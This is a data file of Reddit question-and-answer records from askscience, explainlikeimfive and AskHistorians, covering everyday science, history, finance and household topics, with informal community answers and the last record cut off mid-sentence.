{"q_id": "29h6b5", "title": "When did (western/modern) humans become patrilineal?", "selftext": "It appears that most (all?) social animals group along matrilines with males being expelled from the group soon after maturity. On the other hand, the majority of modern societies group families along the patriline. When did this become common? Was it always the case among humans?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/29h6b5/when_did_westernmodern_humans_become_patrilineal/", "answers": {"a_id": ["cikvrgp"], "score": [2], "text": ["This might be a good question for /r/AskAnthropology "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "anqbvj", "title": "Do people have varying levels of Ph in their stomach acids? If so, how large of a difference is there? Thank you", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/anqbvj/do_people_have_varying_levels_of_ph_in_their/", "answers": {"a_id": ["efvedr9", "efwverc"], "score": [17, 2], "text": ["Do you mean differences in pH between different people or within one individual?  \n\n\nIf you mean the latter, the average stomach has a pH between 1 and 2 if empty (no food) and it can rise up to 4 if full (with food). But there are also differences in pH for specific regions of the stomach itself. And there is a thin layer that touches the epithelium / walls of the stomach that is stabilized to a \"safe\" level. The cells of the stomach walls will be replaced constantly because of the effects from the acid, but they are not onprotected.  \n\n\n(no expert, general knowledge from a biology student who learned that some time ago)", "Yes, and it can cause problems like higher stomach pH leading to greater susceptibility to infections like Brucellosis. It\u2019s normal for stomach pH to increase (become less acidic) with age, but the bigger issue is changes to stomach pH as a result of medication (or side effects of medication), or an acidophilic bacterial infection like h. pylori can also lead to reduced stomach acidity (medically known as hypochlorhydria)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3og8lt", "title": "what sort of loophole did facebook use to pay such a small amount of taxes and what can small companies learn from them?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3og8lt/eli5_what_sort_of_loophole_did_facebook_use_to/", "answers": {"a_id": ["cvwzidf", "cvx00fy", "cvx0986"], "score": [48, 6, 2], "text": ["I don't know the particulars, but one really common strategy among multinational corporations is that they can transfer profits around.\n\nCorporations are taxed based on their profits.  If they lose money, they pay no taxes.  This makes sense, because the government wants to take a share from profitable corporations, but they don't want to turn profitable ones into unprofitable ones and drive them out of business.\n\nBut this also means that corporations with national subsidiaries can easily control which ones are profitable.  Suppose a soda company based in country X has a bottling plant in country Y.  It's wildly profitable.  But suppose country Y has high taxes?  Well, X charges its subsidiary Y a fee to license the formula for the soda.  They increase that fee until Y is no longer profitable and thus no longer taxed.  Now they pay taxes in country X instead.  They chose X carefully.\n\nThe trouble is, deals between X and Y are not really arms-length transactions.  It's like selling your house to your kid for $1 to avoid inheritance tax, which isn't allowed... but in this case it is.", "No loophole.\n\nCompanies pay tax on their profits. Facebook declared a loss, therefore owe little tax. If you can show a loss or a profit of \u00a30 in the UK, you don't owe any Corporation tax. There's a surprising number of small businesses which are registered in the Channel Islands or on the Isle of Man for tax purposes, and which then do various shady (but legal) things to get the money back into the UK.\n\nThis is what Jimmy Carr's accountants were doing - all his gigs were invoiced as a Channel Island business. Those companies then made a \"loan\" to Carr (so it's not income), which he would spend, and the company would write off as \"bad debt\".\n\n\nMore sneaky is things such as the shenanigans that Starbucks engaged in to redirect profits - all UK Starbucks outlets bought their coffee beans from a Starbucks subsidiary in Switzerland.\n\nThey worked out how much profit Starbucks UK had made, and at the end of the year sent out an invoice for that year's worth of coffee that just happened to match their profit figures. Starbucks UK paid the bill, and successfully off-shored all their profit to Switzerland (where corporation tax is lower).", "For US tech companies it's mostly the following:\n\n1. Create new company in a country with low taxes\n2. \"Sell\" intellectual property to that new company\n3. License use of intellectual property back to US company for a fee that's about 100% of the US profits of the US company\n4. US company now has 0 profit, so no taxes\n5. New company has huge profit, but they are only subject to low taxes in other country\n\nThis obviously only works if nearly 100% of your profit comes from \"implementing\" intellectual property, because you can move the valuable asset to a different country and still claim that the profits generated in the US were \"from\" the asset that's not in the US.\n\n\"Small\" companies can do this, but for a little company the expense of setting up and maintaining an offshore entity to house profits may exceed the tax savings."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "gxx5z", "title": "does anyone have any good resources for learning about how protein crystallography works?", "selftext": "im specifically looking for videos or pictures. i understand the basic process, where the xray hits, scatters in a pattern then the pattern is analyzed. i want to know how the pattern is analyzed specifically. more specifically, i am curious about how the length of hydrogen bonds in protein crystallography is determined. is there a program that does it? or is is something people have to sit down and figure out in a modern scientific setting.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/gxx5z/does_anyone_have_any_good_resources_for_learning/", "answers": {"a_id": ["c1r4bwr", "c1r4jeq", "c1r4kfd"], "score": [3, 5, 2], "text": ["My diffraction experience is in small molecule and inorganic extended structures, so I'm not directly involved with protein crystallography.  The analysis of the diffraction pattern is highly complex even for small molecules, and protein solutions involve some really heavy math, which is one of the reasons that protein crystallography had to wait for fast, strong computers and really intense X-ray sources to really get underway.  \r\n\r\nI'm not sure what you really mean by videos and pictures.  A [Google image search](_URL_0_) turns up a lot of patterns.\r\n\r\nAs far as hydrogen in proteins is concerned, this can be a hairy problem.  Hydrogen doesn't have much electron density for X-rays to diffract off of.  This means that finding a H atom in the electron density map can be extremely difficult if not impossible.  Many times this is dealt with by inferring the hybridization of the atom bonded to H and calculating the position and distance of the expected H atom based on A) the local chemical environment and B) what has been measured in the past.  This combined strategy has been known to occasionally yield incorrect results for H placement in the past. \r\n\r\nThe other way to deal with the H problem is to get rid of it entirely.  Use deuterium instead.  Get rid of the X-rays too; use neutrons instead.  Deuterium will light up like a Christmas tree (metaphorically in the neutron data). Of course, making deuterated proteins is difficult, expensive, time comsuming and/or impossible in some cases.  The best solution is to make a deuterated protein, collect the X-ray diffraction data (to see the heavy atoms) and neutron diffraction data (to see the deuterium atoms), and solve the two data sets simultaneously using a software suite like [GSAS](_URL_1_).\r\n\r\n*Edit for clarification and grammar.", "You should start with Crystallography Made Crystal Clear (I know you want videos or pictures, but I don't know any off the top of my head).  There is actually a dearth of good crystallography resources, at least, according to a prominent crystallography professor I know, so I'm taking his word for it and that's the book he recommends.\n\n >  i want to know how the pattern is analyzed specifically\n\nThe diffraction pattern is the fourier transform of the electron density, so the way you undo a fourier transform is to do an inverse fourier transform of it.  It's actually more complicated than that because the diffraction pattern doesn't have all the information and you need to collect phase information as well (or play around with molecular modeling, which is a technique which uses a reference structure to solve the structure without phase information).\n\n >  i am curious about how the length of hydrogen bonds in protein crystallography is determined\n\nOnce you've got the electron density you \"basically\" have the structure.  However, there is a resolution associated with the diffraction pattern (which represents how far away two objects in the density have to be for you to distinguish them as two separate objects).  Since the length of a hydrogen bond (from acceptor to donor) is typically about 2.8 Angstroms (maybe +/- 0.3 angstroms), then the resolution has to be roughly 2.8 Angstroms or better to be able to start getting detailed information about hydrogen bonds.\n\n >  is there a program that does it? or is is something people have to sit down and figure out in a modern scientific setting.\n\nAll density map calculations and structure solving is done by computer.  There is no way you could do it by hand because the amount of data being processed is enormous.  The best you could do by hand is just calculate the unit cell parameters and symmetry group and some other large-scale features.", "While this doesn't actually answer your question fully in technical terms, I would recommend this documentary _URL_0_ ; They follow three graduate students in a crystallography lab, trying to document life of graduate students. But you get to see how they try to crystallize the proteins, their visits to the synchrotron, etc. I found it very captivating nevertheless and you also learn how crystallography labs go about on day-to-day work!\n\nThis also a depressing reality-check documentray on grad-student life in general btw."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.google.com/search?hl=en&amp;q=protein%20diffraction%20pattern&amp;um=1&amp;ie=UTF-8&amp;tbm=isch&amp;source=og&amp;sa=N&amp;tab=wi&amp;biw=1259&amp;bih=812", "http://www.ccp14.ac.uk/solution/gsas/"], [], ["http://www.thirteen.org/naturally-obsessed/"]]}
{"q_id": "6pou2r", "title": "different degrees in martial arts, what does it mean to be an 8th degree black belt?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6pou2r/eli5_different_degrees_in_martial_arts_what_does/", "answers": {"a_id": ["dkqz64w", "dkr0e59", "dkr0ksw", "dkr0pxo", "dkrdmqd", "dkrzf0x"], "score": [3, 3, 5, 28, 2, 6], "text": ["Generally higher degrees = more experienced. It varies school to school but as an example the progression I am most familiar with is;\n\nBeginner === >  Expert\n\nWhite, yellow, green, blue, red, black, 1st degree, 2nd Degree 3rd Degree etc. ", "After a certain point it is often no longer about skill level. In Judo for example anything after 5th Dan is a recognition of services to the sport. My old instructor was awarded 6th Dan for services to coaching. Incidentally in Judo it isn't a black belt at this point but one red and one white belt.", "There is no universal standards body that sets any rules for who can get a belt so what the belt means is up to you and whoever is giving you the belt (or their organization if they belong to one).\n\nThe belt system was originally introduced in Judo (1880s) where they only used white and black belts. In that case a black belt meant that your instructor thought that you had demonstrated basic competence. It was later adopted by other martial arts and added more colors.\n\nIn the worst case scenario the belts are entirely marketing fluff. I know of a school where you could buy different packages. The \"black belt package\" meant that you got a black belt after 2 years. In that case a black belt just meant that you spent 2 years and a few thousand dollars at the school.\n\nIn many schools there are lists of what you're supposed to know for each belt tier. This is generally either some set of forms (kata in Japanese martial arts) or some set of techniques. In that case the belt means that you know the techniques required for that level. Of course what \"know the techniques\" means depends very much on the instructor, their own mastery of the technique and how strict they are.\n\nIn some schools belts are mostly honorary. Particularly in schools that are focused on self defense, the assumption is that you're going to show up to class, practice hard and keep getting better. In those cases a black belt generally means that you've convinced a bunch of badasses that you're also a badass.\n\nUltimately many martial artists don't care much for any belt besides black belt and even that they see mostly as a recognition of hard work.", "In most of the modern martial arts that use a belt system (judo, karate, taekwondo, etc), a black belt signifies an advanced student - not yet an expert, but someone who has a good handle on the basics and is ready for more advanced training or beginning-level teaching.  It makes sense to think about it like a bachelors' degree in that sense - you've done real good, and now you're really ready to start learning from the best.\n\nHigher rankings  or degrees (called *dans* in karate and judo, not sure about the rest) are used to signify greater advancement - in many styles, a new black belt may assist teaching classes, but may be teaching their own classes after reaching the 2nd or 3rd degree.  Many styles will call practitioners of around the 4th or 5th degree onward \"masters\" of the art, but that's not a hard and fast rule.  \n\nPast a certain point, attaining a new degree tends not to be about passing a test, but is bestowed more as a sign of respect from the martial arts organization, in recognition of a master's achievements and dedication.  So at the upper levels (like 8th degree), there are usually going to be very, very few (if any) people holding that rank, and they're likely to be very old, very well-respected teachers.", "The belt system in Japanese martial arts is used to show advancement, or degrees of mastery. Think of it like a video game, like WoW or Mario. When you start you get your first OBI (belt) in the tutorial or starting area - this is known as 10th KYU. Upon exiting the tutorial area, you progress to the first real basic level of Yellow Belt (9th KYU*). \n\nAfter some grinding and basic levels, you start to advance. At the end of each level (KYU) you face a challenge/trial and if you pass, you level up and get the next belt. Eventually you get to 1st KYU which is the Brown Belt level. This one is harder than any level you've tried before and you have to practise for many months and prepare for fighting multiple opponents. Ultimately you succeed, and get awarded your first DAN (advanced) belt, which is a rich black in colour. \n\nYou think you've finished the game, but in reality, you've only completed the introductory levels. Now as a Black Belt, you enter the much harder advanced world. The levels take much longer to pass, and require excellent skill to proceed. Yet there are some benefits, including more respect and the option at certain levels of training others. This advanced DAN world has 10 theoretical levels but advancing to levels 5 and above can take a lifetime. Very few, if any make it to level 9 or 10, which is end game.  \n\n* Note: KYU belts count downward (10, 9, 8...), and DAN belts count upward (1, 2, 3...). Courtesy of KANO, the level designer.", "A blackbelt is like graduating from high school.\n\nUp to that point, any belts that exist (not all martial arts have colored belts) are basically kindergarten to middle school. Which is to say, you can't get a job with a middle school education, and you can't fight with a green belt's level of training. With a diploma you can at least go do menial labor.\n\nA second degree belt is like getting a bachelor's degree.\n\nYou can get a better job.\n\nA third degree is like a master's.\n\nYou are actually a competent fighter now.\n\nA fourth degree is like a PhD.\n\nYou are a master in your field.\n\nA fourth degree is like a Postdoc.\n\nYou're actually getting paid to do this now.\n\nA fifth degree is like being a professor.\n\nYou're getting paid more and now you're teaching at the highest level.\n\n6th: You're a tenured professor. They can't fire you now.\n\n7th: You're a professor emeritus. People come from across the country to learn from you.\n\nEight Degree:  You are a legend.\n\nWow, those were some mixed metaphors."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "388qq4", "title": "-how is life possible?", "selftext": "All atoms and molecules go through the universe with one goal; get itself to its most stable form. That's all we see everywhere we look in the universe except for Earth. Life itself contradicts this goal. In our bodies at every given moment chemical reactions are going on that send these atoms *UP* the stability gradient. HOW?! It isn't until the life leaves our body that our atoms and molecules all stabilize (decomposition). But why does this not happen when we are alive? ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/388qq4/eli5how_is_life_possible/", "answers": {"a_id": ["crt6juu"], "score": [3], "text": [" > Life itself contradicts this goal. In our bodies at every given moment chemical reactions are going on that send these atoms UP the stability gradient. HOW?! \n\nBecause of constant energy input from the sun.\n\nYou appear to be talking about the concept that entropy always increases.  But that only applies to a \"closed system\", and the earth is not a closed system.  The sun is essentially \"running down\" and it's transferring vast amounts of energy to the earth in the process.\n\n >  It isn't until the life leaves our body that our atoms and molecules all stabilize (decomposition).\n\nDecomposing is not \"stabilization\".  The molecules of our body are used as food for bacteria, mold, and fungus.  Life continues."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1f221h", "title": "what are good running techniques for a complete beginner?", "selftext": "Please describe everything from how to breathe (nose v mouth), leg motions (knees high? heels to butt?), body position, and best way to improve stamina efficiently.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1f221h/eli5what_are_good_running_techniques_for_a/", "answers": {"a_id": ["ca60yb4", "ca61m6i", "ca637py"], "score": [2, 2, 2], "text": ["The best way to improve your running is to post this to /r/running The next thing to do is to run. Warm up by walking for about 5 minutes at a brisk walk. Then start to run. You should be able to run for at least 1/4 mile. Doesn't matter how fast or slow you run, just try to finish the quarter mile every time you run. \n\nAll the other questions you post will come to you as you get out and run every day. ", "I also suggest posting to /r/running but I think I can give you some general tips. My tips are from the standpoint of cross country training.\n\nThe first thing to determine is your natural stride. When you start running (not jogging) you will naturally have a comfortable speed which is easier to maintain.You can push yourself faster, but this should be a stride where your torso is upright and most motion is forward as opposed to up and down. Breath smoothly and rhythmically, in time with your stride if possible. For some people breathing in through the nose and out through the mouth helps to maintain form, but if you are like me and have a narrow nasal passage just using your mouth is fine.\n\nYour leg motions should be efficient; don't pull your knees or feet any higher than necessary to avoid tripping or obstacles. If your heels are to your butt or your knees are higher than bending your leg at about 45 degrees from straight down, you are wasting energy and doing something wrong. For the upper body try to keep your torso from rotating, and your hands relaxed and below the height of your elbows. I often see people thrashing down the street like they are trying to wrestle an invisible badger clutched to their chest. That is just a pointless waste of energy.\n\nBuilding stamina is as easy as constant practice and gradually extending your range. If you concentrate on conserving your energy while maintaining your natural stride you will be fine.", "Like others have say, try /r/running.\n\nI asked there when I start running a year ago, and some of the advice that helped was:\n\n* shorten your stride, you aren't sprinting\n* run more upright\n* don't get winded...if you aren't able to talk, you are running too fast\n* distance is more important than speed\n* running regularly is more important than distance"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "275fzx", "title": "Why doesn't amplitude affect wave speed?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/275fzx/why_doesnt_amplitude_affect_wave_speed/", "answers": {"a_id": ["chxlc3x", "chxqmlg", "chxvn4h", "chy2bye"], "score": [7, 4, 2, 4], "text": ["Why should it? Remember that in a wave the particles in the medium are not actually moving along with the wave. Just because they oscillate with a larger amplitude doesn't mean the energy has to travel a larger distance. ", "Amplitude is a measurement of how 'much' a wave is moving in the direction perpendicular to the direction of movement of the wave envelope. Therefore as the measurement of the amplitude and the measurement of the speed are technically on independent axis, then the mathematical equations that relate speed and other variables of the wave is independent of amplitude. ", "Because wave speed depends only on the medium. \n\nAmplitude depends on the energy source. \n\nAnd actually that's all quite approximate... if the amplitude is extremely large, the speed is affected. \n\nJust as the plane pendulum has amplitude - frequency dependence. ", "This is actually an approximation of how wave propagation works and not generally true. A case where this is relatively easy to see is oscillations is crystals. Crystals have a certain interaction potential with a well-defined minimum that defines an atom's position at rest r0 (for example parametrized as a [Lennard-Jones potential](_URL_0_) ). \n\nIf you only look at positions that don't deviate strongly from r0, the potential can be approximated by a so-called harmonic potential. As an atom goes further up in the potential, a force will act on it that is related to the derivative of the potential - the tangent to the curve at the location of the atom. In a harmonic potential, this force is proportional to the deviation from the center (r - r0). This is the simplest case of a bound system and can be visualized as a spring pendulum.\n\nIf you have a small amplitude, your atoms won't go up very much in the potential, so the harmonic approximation will be quite good. If, however, the amplitude is so large that the actual potential at the turn-around points is much different from the harmonic potential, effects called anharmonicities play a role. One of these is that both the phase and the group velocity change. \n\nAs an example, again consider the Lennard-Jones potential: if you go up high enough, the force pushing the atom back when it moves towards a neighbour atom is larger than the force pulling it back when it moves away. Among other things, this causes the frequency to become amplitude-dependent, which in general will also cause the wave velocities to change.\n\nIn many cases, however, we have found that a harmonic approximation works very well, which is why we can most often describe waves using harmonic oscillators."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://en.wikipedia.org/wiki/Lennard-Jones_potential"]]}
{"q_id": "mtqwf", "title": "how american airlines can declare bankruptcy and still exist", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/mtqwf/eli5_how_american_airlines_can_declare_bankruptcy/", "answers": {"a_id": ["c33rscf", "c33rvu2", "c33s3os", "c33v6qs", "c33rscf", "c33rvu2", "c33s3os", "c33v6qs"], "score": [22, 4, 2, 2, 22, 4, 2, 2], "text": ["There are many different types of bankruptcy, and not all of them are just \"wipe my debt clean and I don't exist anymore\" to a business. Some types just mean \"let me wipe away SOME of my debt, I'll pay back some of my debt, and I can keep doing business afterwards\". This is Chapter 11 bankruptcy. If AA can't make their payments or cover what Chapter 11 says they have to cover, then they go into Chapter 7 bankruptcy where they will get dissolved and shut down.", "b1ackcat has a pretty good explanation, but another way to put chapter 11 is like the company is saying: \"Hey, we can totally be a profitable company, we just have to restructure a bit.  Please keep the creditors off our back for a bit while we make major changes.\"  ", "On the surface it might make sense to not have the kind of structured bankruptcy that allows a corporation to continue to exist. But if the corporation *can* still be profitable, shutting it down is worse for both the corporation and the people it owes money too, so it's in everyone's interests to let it still exist.", "The airline industry has been pulling this shit ever since they were deregulated in the '70s. It's just a stunt to steal from their employees' pension funds, and bust pilot/attendant unions.\n\nEvery several months since the deregulation, they pull this \"ZOMG we is teh BANKRUPT!!1!\" shit. And yet, the planes still fly. If they were truly bankrupt, you'd not see a plane in the air. Believe me, they don't fly as an act of charity, or as a public service to those who need to get from place to place.\n\nIt's just another creative accounting dodge to screw their customers and employees to gain more profit for themselves. ", "There are many different types of bankruptcy, and not all of them are just \"wipe my debt clean and I don't exist anymore\" to a business. Some types just mean \"let me wipe away SOME of my debt, I'll pay back some of my debt, and I can keep doing business afterwards\". This is Chapter 11 bankruptcy. If AA can't make their payments or cover what Chapter 11 says they have to cover, then they go into Chapter 7 bankruptcy where they will get dissolved and shut down.", "b1ackcat has a pretty good explanation, but another way to put chapter 11 is like the company is saying: \"Hey, we can totally be a profitable company, we just have to restructure a bit.  Please keep the creditors off our back for a bit while we make major changes.\"  ", "On the surface it might make sense to not have the kind of structured bankruptcy that allows a corporation to continue to exist. But if the corporation *can* still be profitable, shutting it down is worse for both the corporation and the people it owes money too, so it's in everyone's interests to let it still exist.", "The airline industry has been pulling this shit ever since they were deregulated in the '70s. It's just a stunt to steal from their employees' pension funds, and bust pilot/attendant unions.\n\nEvery several months since the deregulation, they pull this \"ZOMG we is teh BANKRUPT!!1!\" shit. And yet, the planes still fly. If they were truly bankrupt, you'd not see a plane in the air. Believe me, they don't fly as an act of charity, or as a public service to those who need to get from place to place.\n\nIt's just another creative accounting dodge to screw their customers and employees to gain more profit for themselves. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], []]}
{"q_id": "96hefg", "title": "could you move fast enough to achieve actions such as clapping on the moon? how significantly does gravity effect our ability to move our limbs at full speed?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/96hefg/eli5_could_you_move_fast_enough_to_achieve/", "answers": {"a_id": ["e40fq7t", "e40fs1x", "e40fw99", "e40fwas", "e40glgq"], "score": [4, 5, 3, 2, 2], "text": ["Claping can be done in a motion parallel to the ground. Gravity should have little to no effect on the motion of clapping. The only problem I can see is a lack of solid foundation which might cause you to start to fall with excessive motion.\n\nEdited: a vertical motion that requires gravity for recoil, like situps or pushups would be greatly effected.", "Not at all. You can clap easily in zero-G. The reason they moved slowly on the moon (about 1/6 earth gravity) was because it was hard to get around in their space suits and not fall over.", "Low gravity wouldn't prevent you from clapping or moving; actually on the Moon there would be less air resistance (essentially zero) so you would be able to move your arms *faster*, except you're encumbered by a rather large and heavy pressure suit so you don't die.\n\nAlso you wouldn't hear your hands clap on the moon since there is no air to transmit the sound, but you'd feel the force of your hands hitting each other.\n\n", "Higher gravity can limit our ability to move our limbs because of the increased weight providing greater resistance, but lower gravity doesn't limit our limb speed at all. People on the moon or in low gravity tend to move slowly and deliberately because faster movement can be dangerous and difficult to control. Someone trying to run like normal on the moon would likely simply lose contact with the ground and then tumble uncontrollably, landing awkwardly on something other than their feet. When you are wearing a space suit which is difficult to stand up in that is something you want to avoid. Similarly people in spacecraft in micro-gravity might move their bodies quickly but this imparts forces to other parts of their body which cause it to move, and you really don't want to careen into a wall full of controls or a fellow astronaut.", "The popular idea that people move slowly in low gravity comes mostly from the movies.  Objects fall and tip over slowly in low-gravity, and since walking is basically tipping and catching yourself over and over, that looks different too. There's no way to copy that in an Earth film studio, so often moviemakers will **slow down the film** to make it look right.  But that makes *everything* look slower, so movie watchers naturally think that's how low-gravity works.\n\nCheck out these videos of astronauts falling down on the moon.  Once you stop laughing at them, notice that while they *fall* slowly, their limbs move just as fast as normal as they flail and struggle to get up.\n\n(And if you're surprised they have so much trouble getting up, remember that they're wearing a 150-pound backpack.)\n\n[_URL_1_](_URL_1_)\n\n[_URL_0_](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["https://www.youtube.com/watch?v=APIgt1AkLG0", "https://www.youtube.com/watch?v=bVNTNeNMH8Q"]]}
{"q_id": "a89k2t", "title": "why is it that, with animals, you hook up the gas and do your surgery. with people, it takes a specialist to put you under to do the surgery.", "selftext": "I've always wondered why it is such a big ordeal to put a human under as opposed to an animal.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a89k2t/eli5_why_is_it_that_with_animals_you_hook_up_the/", "answers": {"a_id": ["ec8wo4r", "ec8wr9p", "ec94arv", "ec9gfrw"], "score": [10, 6, 5, 2], "text": ["We put far more humans under for surgery. If there's a 0.1% chance of it going wrong then odds are your dog will make it out just fine, but since there are over 50 million surgeries per year in the US that's 50,000 dead patients per year which is more than cars take out. Due to the frequency of surgery, and with many surgeries being optional rather than for dangerous conditions, we need the odds of it going wrong to be much lower to have acceptable overall risk", "My understanding from a friend of mine who is a vet is that animals are mostly \"one size fits all\" with very rare exception.  Most (or possibly all) cats can be anesthetized the exact same way, dogs in certain weight categories can be anesthetized the exact same way.\n\nWith humans, it depends on a very wide variety of factors to determine the best method of anesthesia.  Weight, blood pressure, and the type of procedure being done are just a few considerations, there are definitely more.", "Vets are trained in anesthesia of animals, but animals aren't as complicated to put to sleep. Anesthesia for people is much more complicated. Sometimes I need gas as the anesthetic for the surgery. Sometimes no gas and only liquid drug anesthetics. Sometimes I need both. We also have to paralyze or not paralyze. We need to decide what airway to use and want drugs to use and how much to give. It isn't nearly as easy as just going under. I do this for a living. ", "Everyone is missing a huge point. \n\nWe don\u2019t care nearly as much for animals as human beings. From a practical standpoint. Whilst it is easier to anaesthetise bovines, other mammals are increasingly complex such as primates. But there just aren\u2019t the resources to have trained anaesthetists used in these instances. In Australia, the shortest path to being an anaesthetist is around 12 years, but more common to be 15+. No one is gonna put in this much work to sedate a horse. \n\nIn reality, a lot of what anaesthesia specialists train for is the 5-10% of cases where something may go wrong, and they need to use all of their clinical judgement and expertise to solve the situation, most of the other procedures are routine. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "213gkd", "title": "how can you tell if a large body of water is frozen enough to walk safely on?", "selftext": "I'm thinking a lake or something like that.  I've never lived in an area where it snowed, and always wondered.\n", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/213gkd/eli5_how_can_you_tell_if_a_large_body_of_water_is/", "answers": {"a_id": ["cg98i74", "cg98pb6", "cg99gny", "cg9cwr9", "cg9emf5"], "score": [2, 14, 3, 4, 9], "text": ["There are guidelines based on the passed high temperatures. Also, free standing water freezes faster than flowing. So lakes are safer than rivers.\n\nBetter safe than sorry!", "There's no surefire way to test it.  Most people who go out on frozen lakes do it annually and they just 'know' when the time is right.  And even they get it wrong sometimes.\n\nFor what it's worth, all it takes is a few inches of solid ice to support an automobile.  Corollary: all it takes is one feeder creek to make a weak spot, and people fall through.\n\nIn any situation where you're going to do this, always defer to the local residents.  If all else fails, you can call and ask the fire department for a recommendation.", "Two ways:\n\n* Air bubbles move when you apply pressure.  If they're moving when you take a cautious step, not safe.\n* Find a large rock, more than 5 pounds, and throw it as high as you can in front of you.  If it breaks the surface, probably not a great idea to go there. :)\n\nNot scientific, but kept us out of trouble!", "You need to drill a hole.  It's the only way to be safe.\n\nsee [this chart](_URL_0_) to know how much ice is safe to travel on.\n\nI go ice fishing a lot and i won't step out unless there is at least 5 inches.  I went fishing yesterday and there was 26 inches of ice.  ", "Send your fat friend first."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://www.almanac.com/sites/new.almanac.com/files/258_icethickness.pdf"], []]}
{"q_id": "72jryv", "title": "i have to empty my 5 gallon dehumidifier in the basement every day. where is all that water coming from? and if i didn't have a dehumidifier where would it all go?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/72jryv/eli5_i_have_to_empty_my_5_gallon_dehumidifier_in/", "answers": {"a_id": ["dnizp9u", "dnj2qpt", "dnj5931", "dnj60t8", "dnj6war", "dnj7415", "dnj8vdz", "dnj8ymm", "dnj948d", "dnjapte", "dnjezaq"], "score": [189, 20, 21, 5, 168, 496, 6, 2, 3, 2, 7], "text": ["In the air. The air is full of water vapour. Water vapour is transparent to the human eye, so we can't see it. And no, the steam from the kettle is not vapour, it's tiny droplets of liquid water, that's why you see it.  Same happens with the clouds, btw.\n\nSo, the vapour is in the air. If you didn't have a dehumidifier, it would be in the air. Have you ever heard of relative humidity? You could have a basement with a 90% relative humidity that is cold and stinks with mold, or you could have a basement with 20% relative humidity  with an air so dry that makes your nose bleed.", "The earth around your basement.\n\nIt's rainwater from above and groundwater pushing up from below.\n\nWhen you build a house (here in germany) you're encouraged to build a through, a sort of tub, an insulation protecting the walls like the black insulation of a man made pond.\n\nA pond's insulation prevents stones from piercing the water holding film and water running off if it's damaged from the water side - the through works in reverse, preventing water from penetrating the walls of a house.\n\nMoisture \n\n* in walls promotes funghal growth\n\n* partialy washes out mortar of brick walls (you'll eventualy note crystaline bloom in gaps and crumbling plaster) - this is usualy not dangerous, but *can* affect stability.\n\n* travels through portions of the house due to capilary effects (walls function like a sponge, sucking up and lifting the moisture like a tree's trunk).\n\n & nbsp;\n\n* **Retrofitting a through is expensive.**\n* You still may need to install a drain wall depending on the moisture present on your plot.\n\nI've seen botched constructions where water was actually **running** off the walls and pressing through the concrete floor in streams.", "Concrete holds water like a sponge. One reason why warehouses always put things up on racks and pallets. A cardboard box sitting on a concrete floor would be ruined after a few days. The concrete walls of a basement in a damp area will weep water and be wet to the touch.", "It's right there in the name of the product.  A \"de-humid-ifier\".  It makes the air less humid.  \n\nHumidity is when the air has water vapor in it.  When you de-humid-ify, you take the water out of the air ... but it has to go somewhere ... and it goes into your tank.", "Just an FYI, you can buy a 'condensate pump' for short money. You attach a drain hose to your dehumidifier to the pump, then run vinyl tubing from the pump to the nearest drain. You can then forget about emptying the tank every day. ", "The water your dehumidifier produces is actually drawn from the air around it. The air contains water vapor that moves into the air from the earth around the walls and floor of your basement. Concrete absorbs water fairly easily. The water moves through it and eventually evaporates into the air on the other side.\n\nYour dehumidifier uses a cold coil of metal that attracts the water vapor in the air to condense onto it (Similar to how a cold glass of water gets wet on the outside of the glass on a warm humid day). As the condensation builds up, it drips down into the catch basin.\n\nIf you did not have a humidifier, the water vapor would remain in the air (resulting in higher humidity), and would likely condense over time onto other items in your basement. The dampness would promote the growth of mildew and mold (both things which like to grow in damp areas) and over time become a health hazard, not to mention also possibly damaging anything stored in your basement.\n\nAs an aside... Most dehumidifiers have an outlet that you can attach a hose too. I have a hose attached to mine, which then run to the basement drain. Assuming you have a basement drain, this might be a good way to avoid having to empty your dehumidifier bucket every day.", "FYI you can buy a dehumidifier that has a hose attachment in the tank and run it to your basement drain. I have this system set up to a sump pump that kicks the water to a drain. That way you don't have to empty it everyday, that sounds super annoying", "Long term, you might consider applying an epoxy sealant to the floor (at least $1k for a professional job), and painting the interior brick or cinder block with moisture repelling paint.  You can do the wall paint yourself, it is pricey paint that goes on very thick.\n\nEither treatment has limitations, if water is really trying to get in it will damage the sealant.  If a significant amount comes in through the walls, someone really needs to dig down and apply sealant to the exterior of the walls, this is expensive.", "Follow up question. Is it better to leave it on 50% and take a little longer to fill up or full blast that shit and have it potentially fill up before I have time to empty it.", "The air. \n\nGo boil a kettle of water. See how the 